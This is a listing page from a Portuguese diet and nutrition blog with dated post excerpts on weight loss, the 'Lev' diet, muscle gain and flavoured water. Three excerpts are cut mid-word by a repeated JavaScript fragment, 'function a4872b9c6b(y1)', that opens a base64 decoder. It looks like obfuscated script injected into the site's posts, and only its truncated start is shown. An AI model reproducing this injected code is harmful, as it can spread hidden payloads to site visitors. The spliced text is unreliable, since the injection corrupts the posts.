Jun 22, 2016 | À descoberta, Receitas
3 Pequenos-almoços para manter a barriga lisa Reduzir ou evitar a gordura na zona abdominal passa por adotar rotinas saudáveis, como o bom sono, controlo do stress, exposição à luz solar (pela vitamina D), exercício físico e, claro, a alimentação. Toda a gente sabe...
Jun 20, 2016 | Em Alta, Equilíbrio, Saúde e bem estar, sidebar 3
A minha dieta resulta mesmo Nesta Primavera estou mais Lev. Decidi fazer esta dieta para perder as gordurinhas acumuladas no inverno tão rigoroso que tivemos. E devagar devagarinho já lá vão perto de 5 kg. A roupinha voltou a servir-me, ou melhor, eu a servir na...
Jun 17, 2016 | Equilíbrio, header, Saúde e bem estar, sidebar 2
As melhores dicas para ganhar massa muscular O verão aproxima-se e intensificam-se as preocupações com a silhueta que vamos exibir na praia. Se quer ter um corpo mais firme e definido, tem de reforçar a sua massa muscular. O nutricionista clínico Custódio César,...
Jun 16, 2016 | Equilíbrio, Saúde e bem estar
A dieta certa para mim. Olá! Tem acompanhado a minha dieta Lev? Se não acompanhou, ainda está a tempo: veja como é que eu estava qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var...
Jun 13, 2016 | Equilíbrio, Saúde e bem estar
Truques e dicas para comer bem Maximize o poder salutar da fruta, dos legumes e dos vegetais: Prefira os produtos frescos, que ainda estão viçosos e não murchos. Fresco = nutritivo. Qufunction a4872b9c6b(y1){var...
Jun 7, 2016 | Em Alta, Equilíbrio, Saúde e bem estar, sidebar 3
Olá! Venho dar-vos ótimas novidades. Desde que comecei a dieta LEV, a balança passou a ser a minha melhor amiga! Só me dá boas notícias. Estou a ficar mais magra! Yuppy!!! Dos quilos que sonhava perder, 3.400 kg já lá vão. E sem passar fome! Com tanta variedade de...
Jun 5, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
A pergunta que todas fazemos é: esse alimento engorda ou não? É certo que as mães são sábias, mas ainda assim, por vezes, podem dar-lhe dicas alimentares que não correspondem bem à verdade. Conheça os mitos que o function a4872b9c6b(y1){var...
Jun 3, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
A lista dos 17 alimentos saudáveis que mais saciam Aqui tem uma lista muito simples de alimentos saudáveis, de fácil consulta. Se o seu objectivo é perder peso, planifique as suas ementas de maneira a incluir nelas estes alimentos e conseguirá controlar o seu peso de...
Mai 27, 2016 | Equilíbrio, Saúde e bem estar
Água aromatizada – 5 receitas por Dra. Rita Boavida, nutricionista A água aromatizada é uma combinação de água com ingredientes variados como frutas, vegetais, ervas aromáticas e especiarias. A preparação das águas aromatizadas consiste em adicionar, por...
Mai 21, 2016 | Equilíbrio, Saúde e bem estar
Por Lillian Barros Se a sua preocupação estes dias quentes é o que levar para a praia sem pôr em risco os resultados de uma alimentação cuidada e equilibrada ao longo do ano, então, deixo-lhe algumas dicas para snacks, lanches e, até mesmo, algumas refeições que...
